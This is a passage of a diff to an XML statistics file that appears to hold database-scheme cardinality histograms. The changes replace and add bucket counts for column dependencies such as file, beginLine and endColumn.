-                    <src>endLine</src>
+                    <src>file</src>
                     <trg>beginLine</trg>
                     <val>
                         <hist>
@@ -4953,39 +4997,24 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>360860</v>
+                                    <v>7173261</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>3</b>
-                                    <v>237348</v>
+                                    <b>15</b>
+                                    <v>601294</v>
                                 </b>
                                 <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>110421</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>78546</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>7</b>
-                                    <v>86515</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>13</b>
-                                    <v>64886</v>
+                                    <a>15</a>
+                                    <b>1830</b>
+                                    <v>238608</v>
                                 </b>
                             </bs>
                         </hist>
                     </val>
                 </dep>
                 <dep>
-                    <src>endLine</src>
+                    <src>file</src>
                     <trg>beginColumn</trg>
                     <val>
                         <hist>
@@ -4994,65 +5023,25 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>101883</v>
+                                    <v>7173261</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>3</b>
-                                    <v>132619</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>118958</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>94483</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>83100</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
                                     <b>7</b>
-                                    <v>70578</v>
+                                    <v>628563</v>
                                 </b>
                                 <b>
                                     <a>7</a>
-                                    <b>9</b>
-                                    <v>82531</v>
-                                </b>
-                                <b>
-                                    <a>9</a>
-                                    <b>14</b>
-                                    <v>74562</v>
-                                </b>
-                                <b>
-                                    <a>14</a>
-                                    <b>24</b>
-                                    <v>72285</v>
-                                </b>
-                                <b>
-                                    <a>24</a>
-                                    <b>35</b>
-                                    <v>72285</v>
-                                </b>
-                                <b>
-                                    <a>35</a>
-                                    <b>49</b>
-                                    <v>35289</v>
+                                    <b>105</b>
+                                    <v>211339</v>
                                 </b>
                             </bs>
                         </hist>
                     </val>
                 </dep>
                 <dep>
-                    <src>endLine</src>
-                    <trg>endColumn</trg>
+                    <src>file</src>
+                    <trg>endLine</trg>
                     <val>
                         <hist>
                             <budget>12</budget>
@@ -5060,62 +5049,1123 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>105867</v>
+                                    <v>7173261</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>3</b>
-                                    <v>105867</v>
-                                </b>
-                                <b>
-                                    <a>3</a>
-                                    <b>4</b>
-                                    <v>98468</v>
-                                </b>
-                                <b>
-                                    <a>4</a>
-                                    <b>5</b>
-                                    <v>88222</v>
-                                </b>
-                                <b>
-                                    <a>5</a>
-                                    <b>6</b>
-                                    <v>81392</v>
-                                </b>
-                                <b>
-                                    <a>6</a>
-                                    <b>7</b>
-                                    <v>73424</v>
-                                </b>
-                                <b>
-                                    <a>7</a>
-                                    <b>8</b>
-                                    <v>50657</v>
-                                </b>
-                                <b>
-                                    <a>8</a>
-                                    <b>11</b>
-                                    <v>84807</v>
-                                </b>
-                                <b>
-                                    <a>11</a>
                                     <b>18</b>
-                                    <v>71716</v>
+                                    <v>601294</v>
                                 </b>
                                 <b>
                                     <a>18</a>
-                                    <b>36</b>
-                                    <v>74562</v>
+                                    <b>1834</b>
+                                    <v>238608</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>file</src>
+                    <trg>endColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>7173261</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>15</b>
+                                    <v>604021</v>
+                                </b>
+                                <b>
+                                    <a>15</a>
+                                    <b>205</b>
+                                    <v>235881</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginLine</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>14</b>
+                                    <v>222247</v>
+                                </b>
+                                <b>
+                                    <a>14</a>
+                                    <b>125</b>
+                                    <v>215429</v>
+                                </b>
+                                <b>
+                                    <a>125</a>
+                                    <b>142</b>
+                                    <v>215429</v>
+                                </b>
+                                <b>
+                                    <a>142</a>
+                                    <b>152</b>
+                                    <v>223610</v>
+                                </b>
+                                <b>
+                                    <a>152</a>
+                                    <b>159</b>
+                                    <v>249516</v>
+                                </b>
+                                <b>
+                                    <a>159</a>
+                                    <b>165</b>
+                                    <v>257697</v>
+                                </b>
+                                <b>
+                                    <a>165</a>
+                                    <b>170</b>
+                                    <v>226337</v>
+                                </b>
+                                <b>
+                                    <a>170</a>
+                                    <b>174</b>
+                                    <v>216793</v>
+                                </b>
+                                <b>
+                                    <a>174</a>
+                                    <b>179</b>
+                                    <v>229064</v>
+                                </b>
+                                <b>
+                                    <a>179</a>
+                                    <b>185</b>
+                                    <v>214066</v>
+                                </b>
+                                <b>
+                                    <a>185</a>
+                                    <b>194</b>
+                                    <v>222247</v>
+                                </b>
+                                <b>
+                                    <a>194</a>
+                                    <b>215</b>
+                                    <v>215429</v>
+                                </b>
+                                <b>
+                                    <a>215</a>
+                                    <b>5878</b>
+                                    <v>91353</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginLine</src>
+                    <trg>file</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>7</b>
+                                    <v>229064</v>
+                                </b>
+                                <b>
+                                    <a>7</a>
+                                    <b>65</b>
+                                    <v>212702</v>
+                                </b>
+                                <b>
+                                    <a>65</a>
+                                    <b>73</b>
+                                    <v>216793</v>
+                                </b>
+                                <b>
+                                    <a>73</a>
+                                    <b>78</b>
+                                    <v>207248</v>
+                                </b>
+                                <b>
+                                    <a>78</a>
+                                    <b>81</b>
+                                    <v>190887</v>
+                                </b>
+                                <b>
+                                    <a>81</a>
+                                    <b>84</b>
+                                    <v>249516</v>
+                                </b>
+                                <b>
+                                    <a>84</a>
+                                    <b>86</b>
+                                    <v>215429</v>
+                                </b>
+                                <b>
+                                    <a>86</a>
+                                    <b>88</b>
+                                    <v>257697</v>
+                                </b>
+                                <b>
+                                    <a>88</a>
+                                    <b>90</b>
+                                    <v>222247</v>
+                                </b>
+                                <b>
+                                    <a>90</a>
+                                    <b>93</b>
+                                    <v>248153</v>
+                                </b>
+                                <b>
+                                    <a>93</a>
+                                    <b>97</b>
+                                    <v>218156</v>
+                                </b>
+                                <b>
+                                    <a>97</a>
+                                    <b>106</b>
+                                    <v>214066</v>
+                                </b>
+                                <b>
+                                    <a>106</a>
+                                    <b>5878</b>
+                                    <v>117259</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginLine</src>
+                    <trg>beginColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>5</b>
+                                    <v>222247</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>17</b>
+                                    <v>196340</v>
+                                </b>
+                                <b>
+                                    <a>17</a>
+                                    <b>19</b>
+                                    <v>167707</v>
+                                </b>
+                                <b>
+                                    <a>19</a>
+                                    <b>20</b>
+                                    <v>214066</v>
+                                </b>
+                                <b>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>268605</v>
+                                </b>
+                                <b>
+                                    <a>21</a>
+                                    <b>22</b>
+                                    <v>283603</v>
+                                </b>
+                                <b>
+                                    <a>22</a>
+                                    <b>23</b>
+                                    <v>329961</v>
+                                </b>
+                                <b>
+                                    <a>23</a>
+                                    <b>24</b>
+                                    <v>304055</v>
+                                </b>
+                                <b>
+                                    <a>24</a>
+                                    <b>25</b>
+                                    <v>235881</v>
+                                </b>
+                                <b>
+                                    <a>25</a>
+                                    <b>26</b>
+                                    <v>170434</v>
+                                </b>
+                                <b>
+                                    <a>26</a>
+                                    <b>28</b>
+                                    <v>212702</v>
+                                </b>
+                                <b>
+                                    <a>28</a>
+                                    <b>45</b>
+                                    <v>193613</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginLine</src>
+                    <trg>endLine</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>903986</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>895805</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>482671</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>5</b>
+                                    <v>211339</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>11</b>
+                                    <v>220883</v>
+                                </b>
+                                <b>
+                                    <a>11</a>
+                                    <b>97</b>
+                                    <v>84535</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginLine</src>
+                    <trg>endColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>13</b>
+                                    <v>219520</v>
+                                </b>
+                                <b>
+                                    <a>13</a>
+                                    <b>60</b>
+                                    <v>209975</v>
+                                </b>
+                                <b>
+                                    <a>60</a>
+                                    <b>64</b>
+                                    <v>223610</v>
+                                </b>
+                                <b>
+                                    <a>64</a>
+                                    <b>66</b>
+                                    <v>209975</v>
+                                </b>
+                                <b>
+                                    <a>66</a>
+                                    <b>68</b>
+                                    <v>259060</v>
+                                </b>
+                                <b>
+                                    <a>68</a>
+                                    <b>69</b>
+                                    <v>130893</v>
+                                </b>
+                                <b>
+                                    <a>69</a>
+                                    <b>70</b>
+                                    <v>155436</v>
+                                </b>
+                                <b>
+                                    <a>70</a>
+                                    <b>71</b>
+                                    <v>134984</v>
+                                </b>
+                                <b>
+                                    <a>71</a>
+                                    <b>73</b>
+                                    <v>235881</v>
+                                </b>
+                                <b>
+                                    <a>73</a>
+                                    <b>75</b>
+                                    <v>212702</v>
+                                </b>
+                                <b>
+                                    <a>75</a>
+                                    <b>78</b>
+                                    <v>234518</v>
+                                </b>
+                                <b>
+                                    <a>78</a>
+                                    <b>82</b>
+                                    <v>252243</v>
+                                </b>
+                                <b>
+                                    <a>82</a>
+                                    <b>89</b>
+                                    <v>214066</v>
+                                </b>
+                                <b>
+                                    <a>89</a>
+                                    <b>104</b>
+                                    <v>106351</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginColumn</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>11</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>15</a>
+                                    <b>34</b>
+                                    <v>14998</v>
                                 </b>
                                 <b>
                                     <a>36</a>
-                                    <b>56</b>
-                                    <v>76270</v>
+                                    <b>58</b>
+                                    <v>13634</v>
                                 </b>
                                 <b>
-                                    <a>56</a>
+                                    <a>63</a>
+                                    <b>88</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>89</a>
+                                    <b>132</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>141</a>
+                                    <b>196</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>210</a>
+                                    <b>285</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>316</a>
+                                    <b>468</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>496</a>
+                                    <b>853</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>899</a>
+                                    <b>1420</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>1472</a>
+                                    <b>2256</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>2300</a>
+                                    <b>2526</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>2589</a>
+                                    <b>226687</b>
+                                    <v>8180</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginColumn</src>
+                    <trg>file</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>9</b>
+                                    <v>9544</v>
+                                </b>
+                                <b>
+                                    <a>9</a>
+                                    <b>11</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>12</a>
+                                    <b>16</b>
+                                    <v>8180</v>
+                                </b>
+                                <b>
+                                    <a>16</a>
+                                    <b>19</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>19</a>
+                                    <b>31</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>35</a>
+                                    <b>73</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>73</a>
+                                    <b>83</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>85</a>
+                                    <b>104</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>104</a>
+                                    <b>110</b>
+                                    <v>10907</v>
+                                </b>
+                                <b>
+                                    <a>110</a>
+                                    <b>114</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>115</a>
+                                    <b>119</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>119</a>
+                                    <b>121</b>
+                                    <v>12271</v>
+                                </b>
+                                <b>
+                                    <a>121</a>
+                                    <b>126</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>126</a>
+                                    <b>5878</b>
+                                    <v>9544</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginColumn</src>
+                    <trg>beginLine</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>10</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>10</a>
+                                    <b>29</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>29</a>
+                                    <b>43</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>45</a>
+                                    <b>58</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>58</a>
+                                    <b>85</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>86</a>
+                                    <b>106</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>108</a>
+                                    <b>167</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>171</a>
+                                    <b>227</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>231</a>
+                                    <b>379</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>383</a>
+                                    <b>650</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>651</a>
+                                    <b>891</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>940</a>
+                                    <b>1086</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>1093</a>
+                                    <b>2051</b>
+                                    <v>10907</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginColumn</src>
+                    <trg>endLine</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>10</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>10</a>
+                                    <b>30</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>30</a>
+                                    <b>43</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>46</a>
+                                    <b>59</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>60</a>
+                                    <b>87</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>87</a>
+                                    <b>109</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>115</a>
+                                    <b>173</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>174</a>
+                                    <b>226</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>230</a>
+                                    <b>380</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>383</a>
+                                    <b>650</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>653</a>
+                                    <b>892</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>940</a>
+                                    <b>1084</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>1092</a>
+                                    <b>2051</b>
+                                    <v>10907</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>beginColumn</src>
+                    <trg>endColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>8</b>
+                                    <v>14998</v>
+                                </b>
+                                <b>
+                                    <a>8</a>
+                                    <b>17</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>18</a>
+                                    <b>25</b>
+                                    <v>10907</v>
+                                </b>
+                                <b>
+                                    <a>25</a>
+                                    <b>30</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>30</a>
+                                    <b>36</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>36</a>
+                                    <b>44</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>45</a>
+                                    <b>56</b>
+                                    <v>12271</v>
+                                </b>
+                                <b>
+                                    <a>57</a>
+                                    <b>64</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>64</a>
+                                    <b>73</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>73</a>
+                                    <b>86</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>86</a>
+                                    <b>106</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>107</a>
+                                    <b>129</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>129</a>
+                                    <b>197</b>
+                                    <v>13634</v>
+                                </b>
+                                <b>
+                                    <a>392</a>
+                                    <b>393</b>
+                                    <v>1363</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>endLine</src>
+                    <trg>id</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>14</b>
+                                    <v>220883</v>
+                                </b>
+                                <b>
+                                    <a>14</a>
+                                    <b>124</b>
+                                    <v>215429</v>
+                                </b>
+                                <b>
+                                    <a>124</a>
+                                    <b>143</b>
+                                    <v>218156</v>
+                                </b>
+                                <b>
+                                    <a>143</a>
+                                    <b>152</b>
+                                    <v>235881</v>
+                                </b>
+                                <b>
+                                    <a>152</a>
+                                    <b>159</b>
+                                    <v>223610</v>
+                                </b>
+                                <b>
+                                    <a>159</a>
+                                    <b>165</b>
+                                    <v>257697</v>
+                                </b>
+                                <b>
+                                    <a>165</a>
+                                    <b>170</b>
+                                    <v>239972</v>
+                                </b>
+                                <b>
+                                    <a>170</a>
+                                    <b>174</b>
+                                    <v>222247</v>
+                                </b>
+                                <b>
+                                    <a>174</a>
+                                    <b>179</b>
+                                    <v>222247</v>
+                                </b>
+                                <b>
+                                    <a>179</a>
+                                    <b>185</b>
+                                    <v>211339</v>
+                                </b>
+                                <b>
+                                    <a>185</a>
+                                    <b>194</b>
+                                    <v>216793</v>
+                                </b>
+                                <b>
+                                    <a>194</a>
+                                    <b>217</b>
+                                    <v>212702</v>
+                                </b>
+                                <b>
+                                    <a>217</a>
+                                    <b>5878</b>
+                                    <v>103624</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>endLine</src>
+                    <trg>file</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>7</b>
+                                    <v>231791</v>
+                                </b>
+                                <b>
+                                    <a>7</a>
+                                    <b>66</b>
+                                    <v>224973</v>
+                                </b>
+                                <b>
+                                    <a>66</a>
+                                    <b>74</b>
+                                    <v>227700</v>
+                                </b>
+                                <b>
+                                    <a>74</a>
+                                    <b>80</b>
+                                    <v>250880</v>
+                                </b>
+                                <b>
+                                    <a>80</a>
+                                    <b>83</b>
+                                    <v>241335</v>
+                                </b>
+                                <b>
+                                    <a>83</a>
+                                    <b>85</b>
+                                    <v>185433</v>
+                                </b>
+                                <b>
+                                    <a>85</a>
+                                    <b>87</b>
+                                    <v>246789</v>
+                                </b>
+                                <b>
+                                    <a>87</a>
+                                    <b>89</b>
+                                    <v>246789</v>
+                                </b>
+                                <b>
+                                    <a>89</a>
+                                    <b>91</b>
+                                    <v>188160</v>
+                                </b>
+                                <b>
+                                    <a>91</a>
+                                    <b>94</b>
+                                    <v>248153</v>
+                                </b>
+                                <b>
+                                    <a>94</a>
+                                    <b>99</b>
+                                    <v>226337</v>
+                                </b>
+                                <b>
+                                    <a>99</a>
+                                    <b>127</b>
+                                    <v>212702</v>
+                                </b>
+                                <b>
+                                    <a>127</a>
+                                    <b>5878</b>
+                                    <v>69537</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>endLine</src>
+                    <trg>beginLine</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>2</b>
+                                    <v>710372</v>
+                                </b>
+                                <b>
+                                    <a>2</a>
+                                    <b>3</b>
+                                    <v>988522</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
+                                    <b>4</b>
+                                    <v>643561</v>
+                                </b>
+                                <b>
+                                    <a>4</a>
+                                    <b>6</b>
+                                    <v>237245</v>
+                                </b>
+                                <b>
+                                    <a>6</a>
+                                    <b>18</b>
+                                    <v>212702</v>
+                                </b>
+                                <b>
+                                    <a>18</a>
+                                    <b>22</b>
+                                    <v>8180</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>endLine</src>
+                    <trg>beginColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>5</b>
+                                    <v>219520</v>
+                                </b>
+                                <b>
+                                    <a>5</a>
+                                    <b>17</b>
+                                    <v>199067</v>
+                                </b>
+                                <b>
+                                    <a>17</a>
+                                    <b>19</b>
+                                    <v>163617</v>
+                                </b>
+                                <b>
+                                    <a>19</a>
+                                    <b>20</b>
+                                    <v>192250</v>
+                                </b>
+                                <b>
+                                    <a>20</a>
+                                    <b>21</b>
+                                    <v>280876</v>
+                                </b>
+                                <b>
+                                    <a>21</a>
+                                    <b>22</b>
+                                    <v>272695</v>
+                                </b>
+                                <b>
+                                    <a>22</a>
+                                    <b>23</b>
+                                    <v>329961</v>
+                                </b>
+                                <b>
+                                    <a>23</a>
+                                    <b>24</b>
+                                    <v>306782</v>
+                                </b>
+                                <b>
+                                    <a>24</a>
+                                    <b>25</b>
+                                    <v>224973</v>
+                                </b>
+                                <b>
+                                    <a>25</a>
+                                    <b>26</b>
+                                    <v>184069</v>
+                                </b>
+                                <b>
+                                    <a>26</a>
+                                    <b>28</b>
+                                    <v>223610</v>
+                                </b>
+                                <b>
+                                    <a>28</a>
+                                    <b>44</b>
+                                    <v>203158</v>
+                                </b>
+                            </bs>
+                        </hist>
+                    </val>
+                </dep>
+                <dep>
+                    <src>endLine</src>
+                    <trg>endColumn</trg>
+                    <val>
+                        <hist>
+                            <budget>12</budget>
+                            <bs>
+                                <b>
+                                    <a>1</a>
+                                    <b>13</b>
+                                    <v>222247</v>
+                                </b>
+                                <b>
+                                    <a>13</a>
+                                    <b>61</b>
+                                    <v>250880</v>
+                                </b>
+                                <b>
+                                    <a>61</a>
+                                    <b>64</b>
+                                    <v>173161</v>
+                                </b>
+                                <b>
+                                    <a>64</a>
+                                    <b>66</b>
+                                    <v>218156</v>
+                                </b>
+                                <b>
+                                    <a>66</a>
+                                    <b>68</b>
+                                    <v>250880</v>
+                                </b>
+                                <b>
+                                    <a>68</a>
                                     <b>69</b>
-                                    <v>27320</v>
+                                    <v>137711</v>
+                                </b>
+                                <b>
+                                    <a>69</a>
+                                    <b>70</b>
+                                    <v>137711</v>
+                                </b>
+                                <b>
+                                    <a>70</a>
+                                    <b>71</b>
+                                    <v>158163</v>
+                                </b>
+                                <b>
+                                    <a>71</a>
+                                    <b>73</b>
+                                    <v>231791</v>
+                                </b>
+                                <b>
+                                    <a>73</a>
+                                    <b>75</b>
+                                    <v>192250</v>
+                                </b>
+                                <b>
+                                    <a>75</a>
+                                    <b>77</b>
+                                    <v>184069</v>
+                                </b>
+                                <b>
+                                    <a>77</a>
+                                    <b>80</b>
+                                    <v>211339</v>
+                                </b>
+                                <b>
+                                    <a>80</a>
+                                    <b>85</b>
+                                    <v>227700</v>
+                                </b>
+                                <b>
+                                    <a>85</a>
+                                    <b>119</b>
+                                    <v>204521</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5131,62 +6181,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>14798</v>
+                                    <v>145892</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>8</b>
-                                    <v>7968</v>
+                                    <b>3</b>
+                                    <v>64083</v>
                                 </b>
                                 <b>
-                                    <a>8</a>
-                                    <b>22</b>
-                                    <v>7399</v>
+                                    <a>3</a>
+                                    <b>5</b>
+                                    <v>50448</v>
                                 </b>
                                 <b>
-                                    <a>22</a>
-                                    <b>48</b>
-                                    <v>7399</v>
+                                    <a>5</a>
+                                    <b>13</b>
+                                    <v>50448</v>
                                 </b>
                                 <b>
-                                    <a>48</a>
-                                    <b>95</b>
-                                    <v>7399</v>
+                                    <a>13</a>
+                                    <b>53</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>97</a>
-                                    <b>224</b>
-                                    <v>7399</v>
+                                    <a>53</a>
+                                    <b>146</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>224</a>
-                                    <b>306</b>
-                                    <v>7399</v>
+                                    <a>146</a>
+                                    <b>351</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>311</a>
-                                    <b>364</b>
-                                    <v>7399</v>
+                                    <a>357</a>
+                                    <b>997</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>367</a>
-                                    <b>399</b>
-                                    <v>7399</v>
+                                    <a>1053</a>
+                                    <b>2396</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>400</a>
-                                    <b>435</b>
-                                    <v>7399</v>
+                                    <a>2407</a>
+                                    <b>4957</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>436</a>
-                                    <b>507</b>
-                                    <v>7399</v>
-                                </b>
-                                <b>
-                                    <a>508</a>
-                                    <b>785</b>
-                                    <v>2276</v>
+                                    <a>5022</a>
+                                    <b>5934</b>
+                                    <v>23179</v>
                                 </b>
                             </bs>
                         </hist>
@@ -5202,62 +6247,57 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>16506</v>
+                                    <v>151346</v>
                                 </b>
                                 <b>
                                     <a>2</a>
+                                    <b>3</b>
+                                    <v>61356</v>
+                                </b>
+                                <b>
+                                    <a>3</a>
                                     <b>5</b>
-                                    <v>7399</v>
+                                    <v>53175</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>10</b>
-                                    <v>7968</v>
+                                    <b>13</b>
+                                    <v>50448</v>
                                 </b>
                                 <b>
-                                    <a>10</a>
-                                    <b>17</b>
-                                    <v>7399</v>
+                                    <a>13</a>
+                                    <b>42</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>17</a>
-                                    <b>28</b>
-                                    <v>7399</v>
+                                    <a>42</a>
+                                    <b>77</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>28</a>
-                                    <b>49</b>
-                                    <v>7968</v>
+                                    <a>77</a>
+                                    <b>103</b>
+                                    <v>51812</v>
                                 </b>
                                 <b>
-                                    <a>49</a>
-                                    <b>55</b>
-                                    <v>6260</v>
+                                    <a>103</a>
+                                    <b>116</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>55</a>
-                                    <b>58</b>
-                                    <v>6260</v>
+                                    <a>116</a>
+                                    <b>144</b>
+                                    <v>49085</v>
                                 </b>
                                 <b>
-                                    <a>58</a>
-                                    <b>61</b>
-                                    <v>7399</v>
+                                    <a>144</a>
+                                    <b>181</b>
+                                    <v>47721</v>
                                 </b>
                                 <b>
-                                    <a>61</a>
-                                    <b>67</b>
-                                    <v>7399</v>
-                                </b>
-                                <b>
-                                    <a>67</a>
-                                    <b>76</b>
-                                    <v>7399</v>
-                                </b>
-                                <b>
-                                    <a>76</a>
-                                    <b>785</b>
